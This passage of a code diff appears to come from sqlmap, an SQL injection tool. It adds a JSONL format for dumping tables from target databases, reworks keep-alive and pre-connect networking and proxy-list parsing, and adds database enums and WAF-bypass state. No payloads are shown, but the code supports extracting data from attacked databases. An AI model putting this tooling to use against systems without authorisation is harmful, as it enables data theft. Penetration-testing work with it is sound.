                     else:
@@ -337,21 +369,24 @@ class Dump(object):
                         colType = columns[column]
 
                         column = unsafeSQLIdentificatorNaming(column)
-                        blank1 = " " * (maxlength1 - len(column))
+                        blank1 = " " * (maxlength1 - getConsoleLength(column))
 
-                        if colType is not None:
-                            blank2 = " " * (maxlength2 - len(colType))
+                        if hasType:
+                            colType = colType or ""
+                            blank2 = " " * (maxlength2 - getConsoleLength(colType))
                             self._write("| %s%s | %s%s |" % (column, blank1, colType, blank2))
                         else:
                             self._write("| %s%s |" % (column, blank1))
 
-                    if colType is not None:
+                    if hasType:
                         self._write("+%s+%s+\n" % (lines1, lines2))
                     else:
                         self._write("+%s+\n" % lines1)
 
     def dbTablesCount(self, dbTables):
         if isinstance(dbTables, dict) and len(dbTables) > 0:
+            self._reportData(dbTables, CONTENT_TYPE.COUNT)
+
             if conf.api:
                 self._write(dbTables, content_type=CONTENT_TYPE.COUNT)
 
@@ -410,14 +445,19 @@ class Dump(object):
             db = "All"
         table = tableValues["__infos__"]["table"]
 
+        safeDb = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db))
+        safeTable = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table))
+
+        self._reportData(tableValues, CONTENT_TYPE.DUMP_TABLE)
+
         if conf.api:
             self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE)
 
         try:
-            dumpDbPath = os.path.join(conf.dumpPath, unsafeSQLIdentificatorNaming(db))
+            dumpDbPath = os.path.join(conf.dumpPath, safeDb)
         except UnicodeError:
             try:
-                dumpDbPath = os.path.join(conf.dumpPath, normalizeUnicode(unsafeSQLIdentificatorNaming(db)))
+                dumpDbPath = os.path.join(conf.dumpPath, normalizeUnicode(safeDb))
             except (UnicodeError, OSError):
                 tempDir = tempfile.mkdtemp(prefix="sqlmapdb")
                 warnMsg = "currently unable to use regular dump directory. "
@@ -427,16 +467,14 @@ class Dump(object):
                 dumpDbPath = tempDir
 
         if conf.dumpFormat == DUMP_FORMAT.SQLITE:
-            replication = Replication(os.path.join(conf.dumpPath, "%s.sqlite3" % unsafeSQLIdentificatorNaming(db)))
-        elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
+            replication = Replication(os.path.join(conf.dumpPath, "%s.sqlite3" % safeDb))
+        elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML, DUMP_FORMAT.JSONL):
             if not os.path.isdir(dumpDbPath):
                 try:
                     os.makedirs(dumpDbPath)
                 except:
                     warnFile = True
-
-                    _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db))
-                    dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(getBytes(db)).hexdigest()[:8]))
+                    dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (safeDb, hashlib.md5(getBytes(db)).hexdigest()[:8]))
 
                     if not os.path.isdir(dumpDbPath):
                         try:
@@ -450,21 +488,19 @@ class Dump(object):
 
                             dumpDbPath = tempDir
 
-            dumpFileName = conf.dumpFile or os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower())))
+            dumpFileName = conf.dumpFile or os.path.join(dumpDbPath, "%s.%s" % (safeTable, conf.dumpFormat.lower()))
+
             if not checkFile(dumpFileName, False):
                 try:
-                    openFile(dumpFileName, "w+b").close()
+                    openFile(dumpFileName, "w+").close()
                 except SqlmapSystemException:
                     raise
                 except:
                     warnFile = True
-
-                    _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(table)))
-                    if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES:
-                        _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table))
-                        dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(getBytes(table)).hexdigest()[:8], conf.dumpFormat.lower()))
+                    if IS_WIN and safeTable.upper() in WINDOWS_RESERVED_NAMES:
+                        dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (safeTable, hashlib.md5(getBytes(table)).hexdigest()[:8], conf.dumpFormat.lower()))
                     else:
-                        dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower()))
+                        dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (safeTable, conf.dumpFormat.lower()))
             else:
                 appendToFile = any((conf.limitStart, conf.limitStop))
 
@@ -481,7 +517,7 @@ class Dump(object):
                         else:
                             count += 1
 
-            dumpFP = openFile(dumpFileName, "wb" if not appendToFile else "ab", buffering=DUMP_FILE_BUFFER_SIZE)
+            dumpFP = openFile(dumpFileName, 'w' if not appendToFile else 'a', buffering=DUMP_FILE_BUFFER_SIZE)
 
         count = int(tableValues["__infos__"]["count"])
         if count > TRIM_STDOUT_DUMP_SIZE:
@@ -548,7 +584,7 @@ class Dump(object):
             dataToDumpFile(dumpFP, "<!DOCTYPE html>\n<html>\n<head>\n")
             dataToDumpFile(dumpFP, "<meta http-equiv=\"Content-type\" content=\"text/html;charset=%s\">\n" % UNICODE_ENCODING)
             dataToDumpFile(dumpFP, "<meta name=\"generator\" content=\"%s\" />\n" % VERSION_STRING)
-            dataToDumpFile(dumpFP, "<title>%s</title>\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table)))
+            dataToDumpFile(dumpFP, "<title>%s</title>\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table)).replace("<", ""))
             dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE)
             dataToDumpFile(dumpFP, "\n</head>\n<body>\n<table>\n<thead>\n<tr>\n")
 
@@ -591,10 +627,25 @@ class Dump(object):
         elif conf.dumpFormat == DUMP_FORMAT.SQLITE:
             rtable.beginTransaction()
 
+        # Precompute the per-column layout once. These values are invariant across
+        # every row, so resolving them per cell (dict lookup, int() conversion and
+        # identifier normalization) wasted count x ncols work on large dumps.
+        dumpColumns = []
+        for column in columns:
+            if column != "__infos__":
+                info = tableValues[column]
+                dumpColumns.append((unsafeSQLIdentificatorNaming(column), info["values"], int(info["length"])))
+
         for i in xrange(count):
             console = (i >= count - TRIM_STDOUT_DUMP_SIZE)
             field = 1
-            values = []
+
+            # Only the SQLITE and JSONL paths accumulate a per-row container; the
+            # others left these unused, wasting an allocation on every single row
+            if conf.dumpFormat == DUMP_FORMAT.SQLITE:
+                values = []
+            elif conf.dumpFormat == DUMP_FORMAT.JSONL:
+                record = OrderedDict()
 
             if i == 0 and count > TRIM_STDOUT_DUMP_SIZE:
                 self._write(" ...")
@@ -602,54 +653,58 @@ class Dump(object):
             if conf.dumpFormat == DUMP_FORMAT.HTML:
                 dataToDumpFile(dumpFP, "<tr>")
 
-            for column in columns:
-                if column != "__infos__":
-                    info = tableValues[column]
+            for safeColumn, colValues, maxlength in dumpColumns:
+                if len(colValues) <= i or colValues[i] is None:
+                    value = u''
+                else:
+                    value = getUnicode(colValues[i])
+                    value = DUMP_REPLACEMENTS.get(value, value)
 
-                    if len(info["values"]) <= i:
-                        continue
-
-                    if info["values"][i] is None:
-                        value = u''
+                if conf.dumpFormat == DUMP_FORMAT.SQLITE:
+                    # Note: store a real NULL for the NULL sentinel (and the raw value otherwise),
+                    # mirroring the JSONL path below; appending the display-replaced 'NULL'/'<blank>'
+                    # text would corrupt the INTEGER/REAL-typed columns inferred above
+                    if len(colValues) <= i or colValues[i] is None or colValues[i] == " ":  # NULL
+                        values.append(None)
                     else:
-                        value = getUnicode(info["values"][i])
-                        value = DUMP_REPLACEMENTS.get(value, value)
+                        values.append(getUnicode(colValues[i]))
 
-                    if conf.dumpFormat == DUMP_FORMAT.SQLITE:
-                        values.append(value)
+                blank = " " * (maxlength - getConsoleLength(value))
+                self._write("| %s%s" % (value, blank), newline=False, console=console)
 
-                    maxlength = int(info["length"])
-                    blank = " " * (maxlength - getConsoleLength(value))
-                    self._write("| %s%s" % (value, blank), newline=False, console=console)
+                if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value:
+                    try:
+                        mimetype = getText(magic.from_buffer(getBytes(value), mime=True))
+                        if any(mimetype.startswith(_) for _ in ("application", "image")):
+                            if not os.path.isdir(dumpDbPath):
+                                os.makedirs(dumpDbPath)
 
-                    if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value:
-                        try:
-                            mimetype = getText(magic.from_buffer(value, mime=True))
-                            if any(mimetype.startswith(_) for _ in ("application", "image")):
-                                if not os.path.isdir(dumpDbPath):
-                                    os.makedirs(dumpDbPath)
+                            _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(safeColumn))
+                            filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8)))
+                            warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath)
+                            logger.warning(warnMsg)
 
-                                _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column)))
-                                filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8)))
-                                warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath)
-                                logger.warning(warnMsg)
+                            with openFile(filepath, "w+b", None) as f:
+                                _ = safechardecode(value, True)
+                                f.write(_)
 
-                                with openFile(filepath, "w+b", None) as f:
-                                    _ = safechardecode(value, True)
-                                    f.write(_)
+                    except Exception as ex:
+                        logger.debug(getSafeExString(ex))
 
-                        except Exception as ex:
-                            logger.debug(getSafeExString(ex))
+                if conf.dumpFormat == DUMP_FORMAT.CSV:
+                    if field == fields:
+                        dataToDumpFile(dumpFP, "%s" % safeCSValue(value))
+                    else:
+                        dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel))
+                elif conf.dumpFormat == DUMP_FORMAT.HTML:
+                    dataToDumpFile(dumpFP, "<td>%s</td>" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace")))
+                elif conf.dumpFormat == DUMP_FORMAT.JSONL:
+                    if len(colValues) <= i or colValues[i] is None or colValues[i] == " ":  # NULL
+                        record[safeColumn] = None
+                    else:
+                        record[safeColumn] = getUnicode(colValues[i])
 
-                    if conf.dumpFormat == DUMP_FORMAT.CSV:
-                        if field == fields:
-                            dataToDumpFile(dumpFP, "%s" % safeCSValue(value))
-                        else:
-                            dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel))
-                    elif conf.dumpFormat == DUMP_FORMAT.HTML:
-                        dataToDumpFile(dumpFP, "<td>%s</td>" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace")))
-
-                    field += 1
+                field += 1
 
             if conf.dumpFormat == DUMP_FORMAT.SQLITE:
                 try:
@@ -660,6 +715,8 @@ class Dump(object):
                 dataToDumpFile(dumpFP, "\n")
             elif conf.dumpFormat == DUMP_FORMAT.HTML:
                 dataToDumpFile(dumpFP, "</tr>\n")
+            elif conf.dumpFormat == DUMP_FORMAT.JSONL:
+                dataToDumpFile(dumpFP, "%s\n" % getUnicode(json.dumps(record, ensure_ascii=False)))
 
             self._write("|", console=console)
 
@@ -669,11 +726,11 @@ class Dump(object):
             rtable.endTransaction()
             logger.info("table '%s.%s' dumped to SQLITE database '%s'" % (db, table, replication.dbpath))
 
-        elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
+        elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML, DUMP_FORMAT.JSONL):
             if conf.dumpFormat == DUMP_FORMAT.HTML:
                 dataToDumpFile(dumpFP, "</tbody>\n</table>\n<script>let lc=-1,ld=1;function sortTable(n,h){var t=document.querySelector(\"table\"),r=Array.from(t.tBodies[0].rows);ld=(lc==n?-ld:1);lc=n;r.sort((a,b)=>{var x=a.cells[n].innerText.trim(),y=b.cells[n].innerText.trim(),nx=parseFloat(x),ny=parseFloat(y);return(!isNaN(nx)&&!isNaN(ny)?(nx-ny)*ld:x.localeCompare(y)*ld)});r.forEach(e=>t.tBodies[0].appendChild(e));Array.from(t.tHead.rows[0].cells).forEach(c=>{c.innerText=c.innerText.replace(/[\u2191\u2193]/g,\"\")});h.innerText=h.innerText+ (ld==1?\"\u2191\":\"\u2193\");}</script>\n</body>\n</html>")
-            else:
-                dataToDumpFile(dumpFP, "\n")
+            # Note: each CSV row already ends with '\n' (above); no extra close-newline, otherwise
+            # the file ends with a blank line and a later --start/--stop append injects an empty record
             dumpFP.close()
 
             msg = "table '%s.%s' dumped to %s file '%s'" % (db, table, conf.dumpFormat, dumpFileName)
@@ -683,6 +740,8 @@ class Dump(object):
                 logger.warning(msg)
 
     def dbColumns(self, dbColumnsDict, colConsider, dbs):
+        self._reportData(dbColumnsDict, CONTENT_TYPE.COLUMNS)
+
         if conf.api:
             self._write(dbColumnsDict, content_type=CONTENT_TYPE.COLUMNS)
 

lib/core/enums.py

@@ -60,6 +60,8 @@ class DBMS(object):
     FRONTBASE = "FrontBase"
     RAIMA = "Raima Database Manager"
     VIRTUOSO = "Virtuoso"
+    SNOWFLAKE = "Snowflake"
+    SPANNER = "Spanner"
 
 class DBMS_DIRECTORY_NAME(object):
     ACCESS = "access"
@@ -90,6 +92,8 @@ class DBMS_DIRECTORY_NAME(object):
     FRONTBASE = "frontbase"
     RAIMA = "raima"
     VIRTUOSO = "virtuoso"
+    SNOWFLAKE = "snowflake"
+    SPANNER = "spanner"
 
 class FORK(object):
     MARIADB = "MariaDB"
@@ -110,6 +114,7 @@ class FORK(object):
     DM8 = "DM8"
     DORIS = "Doris"
     STARROCKS = "StarRocks"
+    TRINO = "Trino"
 
 class CUSTOM_LOGGING(object):
     PAYLOAD = 9
@@ -234,6 +239,7 @@ class DUMP_FORMAT(object):
     CSV = "CSV"
     HTML = "HTML"
     SQLITE = "SQLITE"
+    JSONL = "JSONL"
 
 class HTTP_HEADER(object):
     ACCEPT = "Accept"
@@ -283,6 +289,7 @@ class HASHDB_KEYS(object):
     DBMS = "DBMS"
     DBMS_FORK = "DBMS_FORK"
     CHECK_WAF_RESULT = "CHECK_WAF_RESULT"
+    CHECK_WAF_BYPASS = "CHECK_WAF_BYPASS"
     CHECK_NULL_CONNECTION_RESULT = "CHECK_NULL_CONNECTION_RESULT"
     CONF_TMP_PATH = "CONF_TMP_PATH"
     KB_ABS_FILE_PATHS = "KB_ABS_FILE_PATHS"
@@ -402,6 +409,7 @@ class CONTENT_TYPE(object):
     OS_CMD = 24
     REG_READ = 25
     STATEMENTS = 26
+    PROCEDURES = 27
 
 class CONTENT_STATUS(object):
     IN_PROGRESS = 0

lib/core/option.py

@@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission
 from __future__ import division
 
 import codecs
+import collections
 import functools
 import glob
 import inspect
@@ -144,6 +145,8 @@ from lib.request.chunkedhandler import ChunkedHandler
 from lib.request.connect import Connect as Request
 from lib.request.dns import DNSServer
 from lib.request.httpshandler import HTTPSHandler
+from lib.request.keepalive import HTTPKeepAliveHandler
+from lib.request.keepalive import HTTPSKeepAliveHandler
 from lib.request.pkihandler import HTTPSPKIAuthHandler
 from lib.request.rangehandler import HTTPRangeHandler
 from lib.request.redirecthandler import SmartRedirectHandler
@@ -153,7 +156,6 @@ from lib.utils.har import HTTPCollectorFactory
 from lib.utils.purge import purge
 from lib.utils.search import search
 from thirdparty import six
-from thirdparty.keepalive import keepalive
 from thirdparty.multipart import multipartpost
 from thirdparty.six.moves import collections_abc as _collections
 from thirdparty.six.moves import http_client as _http_client
@@ -165,7 +167,8 @@ from xml.etree.ElementTree import ElementTree
 authHandler = _urllib.request.BaseHandler()
 chunkedHandler = ChunkedHandler()
 httpsHandler = HTTPSHandler()
-keepAliveHandler = keepalive.HTTPHandler()
+keepAliveHandler = HTTPKeepAliveHandler()
+keepAliveHandlerHTTPS = HTTPSKeepAliveHandler()
 proxyHandler = _urllib.request.ProxyHandler()
 redirectHandler = SmartRedirectHandler()
 rangeHandler = HTTPRangeHandler()
@@ -435,19 +438,27 @@ def _setStdinPipeTargets():
                 return self.next()
 
             def next(self):
-                try:
-                    line = next(conf.stdinPipe)
-                except (IOError, OSError, TypeError, UnicodeDecodeError):
-                    line = None
+                while True:
+                    try:
+                        line = next(conf.stdinPipe)
+                    except (IOError, OSError, TypeError, UnicodeDecodeError):
+                        line = None
+                    except StopIteration:
+                        line = None
 
-                if line:
-                    match = re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I)
-                    if match:
-                        return (match.group(0), conf.method, conf.data, conf.cookie, None)
-                elif self.__rest:
-                    return self.__rest.pop()
+                    if line:
+                        match = re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I)
+                        if match:
+                            return (match.group(0), conf.method, conf.data, conf.cookie, None)
+                        # Note: a non-empty line that is not a target (blank line, comment,
+                        # non-parameterized URL) must be skipped, not treated as end-of-input
+                        continue
 
-                raise StopIteration()
+                    # end-of-input (or read error): drain any queued targets, then stop
+                    if self.__rest:
+                        return self.__rest.pop()
+
+                    raise StopIteration()
 
             def add(self, elem):
                 self.__rest.add(elem)
@@ -607,7 +618,7 @@ def _setMetasploit():
         else:
             warnMsg = "the provided Metasploit Framework path "
             warnMsg += "'%s' is not valid. The cause could " % conf.msfPath
-            warnMsg += "be that the path does not exists or that one "
+            warnMsg += "be that the path does not exist or that one "
             warnMsg += "or more of the needed Metasploit executables "
             warnMsg += "within msfcli, msfconsole, msfencode and "
             warnMsg += "msfpayload do not exist"
@@ -753,7 +764,7 @@ def _listTamperingFunctions():
         logger.info(infoMsg)
 
         for script in sorted(glob.glob(os.path.join(paths.SQLMAP_TAMPER_PATH, "*.py"))):
-            content = openFile(script, "rb").read()
+            content = openFile(script, 'r').read()
             match = re.search(r'(?s)__priority__.+"""(.+)"""', content)
             if match:
                 comment = match.group(1).strip()
@@ -1015,8 +1026,8 @@ def _setPostprocessFunctions():
                     handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py")
                     os.close(handle)
 
-                    openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef postprocess(page, headers=None, code=None):\n    return page, headers, code\n")
-                    openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
+                    openFile(filename, "w+").write("#!/usr/bin/env\n\ndef postprocess(page, headers=None, code=None):\n    return page, headers, code\n")
+                    openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+").write("pass")
 
                     errMsg = "function 'postprocess(page, headers=None, code=None)' "
                     errMsg += "in postprocess script '%s' " % script
@@ -1034,12 +1045,13 @@ def _setDNSCache():
     """
 
     def _getaddrinfo(*args, **kwargs):
-        if args in kb.cache.addrinfo:
-            return kb.cache.addrinfo[args]
+        key = (args, frozenset(kwargs.items()))
 
-        else:
-            kb.cache.addrinfo[args] = socket._getaddrinfo(*args, **kwargs)
-            return kb.cache.addrinfo[args]
+        if key in kb.cache.addrinfo:
+            return kb.cache.addrinfo[key]
+
+        kb.cache.addrinfo[key] = socket._getaddrinfo(*args, **kwargs)
+        return kb.cache.addrinfo[key]
 
     if not hasattr(socket, "_getaddrinfo"):
         socket._getaddrinfo = socket.getaddrinfo
@@ -1055,41 +1067,73 @@ def _setSocketPreConnect():
 
     def _thread():
         while kb.get("threadContinue") and not conf.get("disablePrecon"):
+            done = False
             try:
-                for key in socket._ready:
-                    if len(socket._ready[key]) < SOCKET_PRE_CONNECT_QUEUE_SIZE:
-                        s = socket.create_connection(*key[0], **dict(key[1]))
-                        with kb.locks.socket:
-                            socket._ready[key].append((s, time.time()))
+                with kb.locks.socket:
+                    keys = list(socket._ready.keys())
+
+                for key in keys:
+                    with kb.locks.socket:
+                        q = socket._ready.get(key)
+                        if q is None or len(q) >= SOCKET_PRE_CONNECT_QUEUE_SIZE:
+                            continue
+                        args = key[0]
+                        kwargs = dict(key[1])
+
+                    s = socket._create_connection(*args, **kwargs)
+
+                    with kb.locks.socket:
+                        q = socket._ready.get(key)
+                        if q is not None and len(q) < SOCKET_PRE_CONNECT_QUEUE_SIZE:
+                            q.append((s, time.time()))
+                            s = None
+                            done = True
+
+                    if s is not None:
+                        try:
+                            s.close()
+                        except:
+                            pass
+
             except KeyboardInterrupt:
                 break
             except:
                 pass
             finally:
-                time.sleep(0.01)
+                time.sleep(0.01 if not done else 0.001)
 
     def create_connection(*args, **kwargs):
         retVal = None
+        stale = []
 
         key = (tuple(args), frozenset(kwargs.items()))
         with kb.locks.socket:
             if key not in socket._ready:
-                socket._ready[key] = []
+                socket._ready[key] = collections.deque()
 
-            while len(socket._ready[key]) > 0:
-                candidate, created = socket._ready[key].pop(0)
+            q = socket._ready[key]
+            while len(q) > 0:
+                candidate, created = q.popleft()
                 if (time.time() - created) < PRECONNECT_CANDIDATE_TIMEOUT:
                     retVal = candidate
                     break
                 else:
-                    try:
-                        candidate.shutdown(socket.SHUT_RDWR)
-                        candidate.close()
-                    except socket.error:
-                        pass
+                    stale.append(candidate)
+
+        for candidate in stale:
+            try:
+                candidate.shutdown(socket.SHUT_RDWR)
+                candidate.close()
+            except:
+                pass
 
         if not retVal:
             retVal = socket._create_connection(*args, **kwargs)
+        else:
+            try:
+                retVal.settimeout(kwargs.get("timeout", socket.getdefaulttimeout()))
+            except:
+                pass
 
         return retVal
 
@@ -1205,18 +1249,22 @@ def _setHTTPHandlers():
             handlers.append(_urllib.request.HTTPCookieProcessor(conf.cj))
 
         # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html
-        if conf.keepAlive:
-            warnMsg = "persistent HTTP(s) connections, Keep-Alive, has "
-            warnMsg += "been disabled because of its incompatibility "
+        # Note: persistent (Keep-Alive) connections are used by default; '--no-keep-alive' opts out,
+        # and they are automatically disabled when incompatible (HTTP(s) proxy, authentication methods,
+        # or chunked transfer-encoding of the request body - handled by a dedicated, non-pooling handler)
+        conf.keepAlive = not conf.noKeepAlive and not conf.proxy and not conf.authType and not conf.chunked
 
-            if conf.proxy:
-                warnMsg += "with HTTP(s) proxy"
-                logger.warning(warnMsg)
-            elif conf.authType:
-                warnMsg += "with authentication methods"
-                logger.warning(warnMsg)
-            else:
-                handlers.append(keepAliveHandler)
+        if conf.keepAlive:
+            # persistent connections for both HTTP and HTTPS; the keep-alive HTTPS
+            # handler supersedes the regular one (reusing its SSL connection)
+            if httpsHandler in handlers:
+                handlers.remove(httpsHandler)
+            handlers.append(keepAliveHandler)
+            handlers.append(keepAliveHandlerHTTPS)
+        elif not conf.noKeepAlive and (conf.proxy or conf.authType or conf.chunked):
+            reason = "an HTTP(s) proxy" if conf.proxy else ("authentication methods" if conf.authType else "chunked transfer-encoding")
+            debugMsg = "persistent (Keep-Alive) connections were disabled (incompatible with %s)" % reason
+            logger.debug(debugMsg)
 
         opener = _urllib.request.build_opener(*handlers)
         opener.addheaders = []  # Note: clearing default "User-Agent: Python-urllib/X.Y"
@@ -1362,7 +1410,9 @@ def _setHTTPAuthentication():
             conf.httpHeaders.append((HTTP_HEADER.AUTHORIZATION, "Bearer %s" % conf.authCred.strip()))
             return
         elif authType == AUTH_TYPE.NTLM:
-            regExp = "^(.*\\\\.*):(.*?)$"
+            # Note: the DOMAIN\username part is colon-free, so the password group takes the full
+            # remainder (a greedy first group would otherwise swallow colons inside the password)
+            regExp = "^([^:]*\\\\[^:]*):(.*)$"
             errMsg = "HTTP NTLM authentication credentials value must "
             errMsg += "be in format 'DOMAIN\\username:password'"
         elif authType == AUTH_TYPE.PKI:
@@ -1420,14 +1470,14 @@ def _setHTTPExtraHeaders():
             if not headerValue.strip():
                 continue
 
-            if headerValue.count(':') >= 1:
+            if headerValue.startswith('@'):
+                checkFile(headerValue[1:])
+                kb.headersFile = headerValue[1:]
+            elif headerValue.count(':') >= 1:
                 header, value = (_.lstrip() for _ in headerValue.split(":", 1))
 
                 if header and value:
                     conf.httpHeaders.append((header, value))
-            elif headerValue.startswith('@'):
-                checkFile(headerValue[1:])
-                kb.headersFile = headerValue[1:]
             else:
                 errMsg = "invalid header value: %s. Valid header format is 'name:value'" % repr(headerValue).lstrip('u')
                 raise SqlmapSyntaxException(errMsg)
@@ -1593,7 +1643,7 @@ def _createHomeDirectories():
                 os.makedirs(directory)
 
             _ = os.path.join(directory, randomStr())
-            open(_, "w+b").close()
+            open(_, "w+").close()
             os.remove(_)
 
             if conf.get("outputDir") and context == "output":
@@ -1623,7 +1673,7 @@ def _createTemporaryDirectory():
 
             _ = os.path.join(conf.tmpDir, randomStr())
 
-            open(_, "w+b").close()
+            open(_, "w+").close()
             os.remove(_)
 
             tempfile.tempdir = conf.tmpDir
@@ -1641,9 +1691,9 @@ def _createTemporaryDirectory():
         except Exception as ex:
             warnMsg = "there has been a problem while accessing "
             warnMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex)
-            warnMsg += "make sure that there is enough disk space left. If problem persists, "
+            warnMsg += "make sure that there is enough disk space left. If the problem persists, "
             warnMsg += "try to set environment variable 'TEMP' to a location "
-            warnMsg += "writeable by the current user"
+            warnMsg += "writable by the current user"
             logger.warning(warnMsg)
 
     if "sqlmap" not in (tempfile.tempdir or "") or conf.tmpDir and tempfile.tempdir == conf.tmpDir:
@@ -1958,7 +2008,7 @@ def _cleanupEnvironment():
     Cleanup environment (e.g. from leftovers after --shell).
     """
 
-    if issubclass(_http_client.socket.socket, socks.socksocket):
+    if getattr(_http_client.socket, "socket", None) is not getattr(socks, "_orgsocket", None):
         socks.unwrapmodule(_http_client)
 
     if hasattr(socket, "_ready"):
@@ -2037,9 +2087,10 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.cache = AttribDict()
     kb.cache.addrinfo = {}
     kb.cache.content = LRUDict(capacity=16)
-    kb.cache.comparison = {}
-    kb.cache.encoding = {}
+    kb.cache.comparison = LRUDict(capacity=256)
+    kb.cache.encoding = LRUDict(capacity=256)
     kb.cache.alphaBoundaries = None
+    kb.cache.charsetAsciiTbl = None
     kb.cache.hashRegex = None
     kb.cache.intBoundaries = None
     kb.cache.parsedDbms = {}
@@ -2054,6 +2105,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.chars.stop = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR)
     kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = ("%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, _, KB_CHARS_BOUNDARY_CHAR) for _ in randomStr(length=4, lowercase=True))
 
+    kb.checkWafMode = False
     kb.choices = AttribDict(keycheck=False)
     kb.codePage = None
     kb.commonOutputs = None
@@ -2109,6 +2161,12 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.heuristicTest = None
     kb.hintValue = ""
     kb.htmlFp = []
+    kb.huffmanModel = {}
+    kb.respTruncated = False
+    kb.huffmanValidated = False
+    kb.disableHuffman = False
+    kb.huffmanProbes = 0
+    kb.huffmanEscapes = 0
     kb.httpErrorCodes = {}
     kb.inferenceMode = False
     kb.ignoreCasted = None
@@ -2152,6 +2210,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.pageTemplates = dict()
     kb.pageEncoding = DEFAULT_PAGE_ENCODING
     kb.pageStable = None
+    kb.pageStructurallyStable = None
     kb.partRun = None
     kb.permissionFlag = False
     kb.place = None
@@ -2201,6 +2260,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.udfFail = False
     kb.unionDuplicates = False
     kb.unionTemplate = None
+    kb.wafBypass = None
     kb.webSocketRecvCount = None
     kb.wizardMode = False
     kb.xpCmdshellAvailable = False
@@ -2471,9 +2531,11 @@ def _setProxyList():
         return
 
     conf.proxyList = []
-    for match in re.finditer(r"(?i)((http[^:]*|socks[^:]*)://)?([\w\-.]+):(\d+)", readCachedFileContent(conf.proxyFile)):
-        _, type_, address, port = match.groups()
-        conf.proxyList.append("%s://%s:%s" % (type_ or "http", address, port))
+    # Note: preserve an explicit scheme and any 'user:pass@' credentials (entries use the same format
+    # as --proxy); otherwise a SOCKS proxy is silently downgraded to HTTP and proxy auth is dropped
+    for match in re.finditer(r"(?i)((http[^:\s]*|socks[^:\s]*)://)?(?:([^:@\s/]+:[^@\s/]*)@)?([\w\-.]+):(\d+)", readCachedFileContent(conf.proxyFile)):
+        _, type_, cred, address, port = match.groups()
+        conf.proxyList.append("%s://%s%s:%s" % (type_ or "http", ("%s@" % cred) if cred else "", address, port))
 
 def _setTorProxySettings():
     if not conf.tor:
@@ -2543,6 +2605,7 @@ def _setHttpOptions():
     if conf.url and (conf.url.startswith("ws:/") or conf.url.startswith("wss:/")):
         try:
             from websocket import ABNF
+            ABNF # require websocket-client, not any 'websocket' module
         except ImportError:
             errMsg = "sqlmap requires third-party module 'websocket-client' "
             errMsg += "in order to use WebSocket functionality"
@@ -2604,6 +2667,10 @@ def _basicOptionValidation():
         errMsg = "switch '--text-only' is incompatible with switch '--null-connection'"
         raise SqlmapSyntaxException(errMsg)
 
+    if conf.http2 and any((conf.tor, conf.proxy and conf.proxy.lower().startswith("socks"))):
+        errMsg = "HTTP/2 support is currently incompatible with SOCKS/Tor proxies"
+        raise SqlmapSyntaxException(errMsg)
